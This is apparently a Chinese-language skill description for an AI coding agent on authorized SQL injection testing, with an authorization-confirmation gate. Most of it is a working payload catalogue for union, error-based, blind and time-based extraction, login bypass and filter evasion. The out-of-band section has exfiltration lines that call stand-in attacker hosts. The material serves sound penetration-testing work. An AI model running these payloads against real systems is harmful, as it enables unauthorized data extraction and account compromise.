关于 sql-injection-testing
面向授权渗透测试和受控学习环境的 Web 应用 SQL 注入测试技能,涵盖检测、利用类型、证据整理与修复建议。主动测试前必须完成授权范围确认。
主要功能
- 01注入检测与侦察
- 02带内、盲注及带外测试
- 03身份验证绕过评估
- 04数据库指纹识别与枚举
- 05证据整理与修复报告
- 06授权确认门槛
适用场景
- 01评估已授权范围内的 Web 输入
- 02在实验环境验证 SQL 注入防护
- 03整理漏洞发现与证据
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill sql-injection-testing安装后在 Claude Code 中输入/sql-injection-testing确认已加载。
详细介绍
⚠️ 仅限授权用途 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须先取得系统所有者的明确书面许可。 滥用此工具属于违法行为,严格禁止。
强制确认关卡 在运行任何探测、利用漏洞、修改、持久化、提取目标数据或尝试获取目标凭据的命令之前:
- 请用户说明确切的目标 URL、IP、账户或资源。
- 请用户确认已取得书面授权并说明许可范围。
- 展示确切的命令,并说明其预期效果。
- 等待用户在当前对话中明确确认。
未经确认,请保持只读,并且仅提供防御性指导。优先使用沙盒、一次性 VM 或受控实验环境。
仅限授权用途:此技能仅可用于经授权的安全评估、防御性验证或受控教育环境。
SQL 注入测试
目的
对 Web 应用执行全面的 SQL 注入漏洞评估,以识别数据库安全缺陷、演示漏洞利用技术,并验证输入清理机制。此技能支持系统性地检测和利用带内、盲注和带外攻击途径中的 SQL 注入漏洞,以评估应用的安全状况。
输入/前提条件
所需访问权限
- 包含可注入参数的目标 Web 应用 URL
- 用于修改请求的 Burp Suite 或同等代理工具
- 用于自动化漏洞利用的 SQLMap 安装
- 已启用开发者工具的浏览器
技术要求
- 了解 SQL 查询语法(MySQL、MSSQL、PostgreSQL、Oracle)
- 了解 HTTP 请求/响应周期
- 熟悉数据库架构和结构
- 具有编写测试报告的权限
法律前提条件
- 已取得渗透测试的书面授权
- 已界定范围,包括目标 URL 和参数
- 已制定紧急联系人流程
- 已签署数据处理协议
输出/交付物
主要输出
- 带有严重性评级的 SQL 注入漏洞报告
- 提取的数据库架构和表结构
- 身份验证绕过概念验证演示
- 附带代码示例的修复建议
证据材料
- 注入成功的屏幕截图
- HTTP 请求/响应日志
- 数据库转储(已清理)
- 载荷文档
核心工作流
阶段 1:检测与侦察
识别可注入参数
定位与数据库查询交互的用户可控输入字段:
# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
测试基本漏洞迹象
插入特殊字符以触发错误响应:
-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;
-- Parentheses
)
监控应用响应,查找以下情况:
- 泄露查询结构的数据库错误消息
- 应用行为发生意外变化
- HTTP 500 内部服务器错误
- 响应内容或长度发生变化
逻辑测试载荷
验证是否存在基于布尔条件的漏洞:
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--
比较条件为真和为假时的响应,以确认注入能力。
阶段 2:漏洞利用技术
基于 UNION 的提取
将攻击者控制的 SELECT 语句与原始查询合并:
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
基于错误的提取
触发会泄露信息的数据库错误:
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
盲注布尔条件提取
通过应用行为变化推断数据:
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
基于时间的盲注提取
使用数据库休眠函数进行确认:
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--
带外(OOB)提取
仅限实验环境的示例。将所有回调域名替换为明确授权的测试接收端;请勿联系示例中的域名,也勿发送真实数据。网络回调可能需要特定数据库权限、平台支持和出站流量。 通过外部信道外传数据:
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
阶段 3:身份验证绕过
登录表单利用
构造用于绕过凭据验证的载荷:
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2
查询转换示例:
-- Original query
SELECT * FROM users WHERE username='input' AND password='input' -- security-allowlist: controlled SQL injection test example
-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
-- Password check bypassed via comment
阶段 4:过滤绕过技术
字符编码绕过
这些历史载荷依赖特定解析器/过滤器,并非通用的绕过方法。Unicode 形似字符、空字节以及插入关键字内部的注释通常无法解析为 SQL。仅在已声明数据库及版本的授权测试环境中进行验证。 特殊字符被拦截时:
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
空白字符绕过
替换被拦截的空格:
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- Newline
关键字绕过
规避列入黑名单的 SQL 关键字:
-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- Null byte injection
%00SELECT
SEL%00ECT
快速参考
检测测试顺序
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
数据库指纹识别
-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
信息架构查询
-- MySQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- MSSQL: use the intended schema in the current authorized database
SELECT table_name FROM information_schema.tables WHERE table_schema='dbo'
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
常见载荷速查表
| 目的 | 载荷 |
|---|---|
| 基本测试 | ' or " |
| 布尔值为真 | OR 1=1-- |
| 布尔值为假 | AND 1=2-- |
| 注释(MySQL) | # or -- |
| 注释(MSSQL) | -- |
| UNION 探测 | UNION SELECT NULL-- |
| 时间延迟 | AND SLEEP(5)-- |
| 身份验证绕过 | ' OR '1'='1 |
限制与防护措施
操作边界
- 未获得明确授权,不得执行破坏性查询(DROP、DELETE、TRUNCATE)
- 将数据提取量限制在概念验证所需的范围内
- 避免通过资源密集型查询造成拒绝服务
- 一旦发现生产数据库中包含真实用户数据,立即停止
技术限制
- WAF/IPS 可能会拦截常见载荷,需要采用规避技术
- 参数化查询可以防止常规注入
- 某些盲注需要发送大量请求(需考虑速率限制)
- 二阶注入需要了解数据流
法律与道德要求
- 测试前必须签订书面范围协议
- 记录所有提取的数据,并按照数据保护要求处理
- 通过约定渠道立即报告严重漏洞
- 绝不得访问超出范围要求的数据
示例
示例 1:电商产品页面 SQLi
场景:测试带有 ID 参数的产品展示页面
初始请求:
GET /product.php?id=5 HTTP/1.1
检测测试:
GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near '''
列枚举:
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)
数据提取:
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
示例 2:基于盲注时间的提取
场景:没有可见输出,测试是否存在盲注
确认漏洞:
id=5' AND SLEEP(5)--
-- A delay is an indicator only; compare bounded repeated true/false controls
-- against baseline latency before attributing it to SQL execution.
提取数据库名称长度:
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- A reproducible controlled delay may support this hypothesis; one sample does not confirm it.
提取字符:
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
示例 3:登录绕过
目标:管理员登录表单
标准登录查询:
SELECT * FROM users WHERE username='[input]' AND password='[input]' -- security-allowlist: controlled SQL injection test example
注入载荷:
Username: administrator'--
Password: anything
生成的查询:
SELECT * FROM users WHERE username='administrator'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
结果:绕过密码检查,以管理员身份通过身份验证。
故障排查
未显示错误消息
- 应用使用通用错误处理
- 改用盲注技术(布尔型或基于时间)
- 监测响应长度差异,而非响应内容
UNION 注入失败
- 列数可能不正确 → 使用 ORDER BY 测试
- 数据类型可能不匹配 → 首先在所有列中使用 NULL
- 结果可能不会显示 → 找出可注入的列位置
WAF 拦截请求
- 使用编码技术(URL、十六进制、Unicode)
- 在关键字内部插入内联注释
- 尝试使用替代语法执行相同操作
- 将载荷拆分到多个参数中
载荷未执行
- 确认数据库类型对应的注释语法正确
- 检查应用是否使用参数化查询
- 确认输入传入了 SQL 查询(而非仅在客户端过滤)
- 测试不同的注入点(请求头、Cookie)
基于时间的注入结果不一致
- 网络延迟可能导致误报
- 使用有界、低影响的测试时间窗口并重复对照测试;未经负载/可用性授权,不得增加延迟
- 多次测试以确认模式
- 考虑服务器端缓存的影响
适用场景
此技能适用于执行概述中所述的工作流或操作。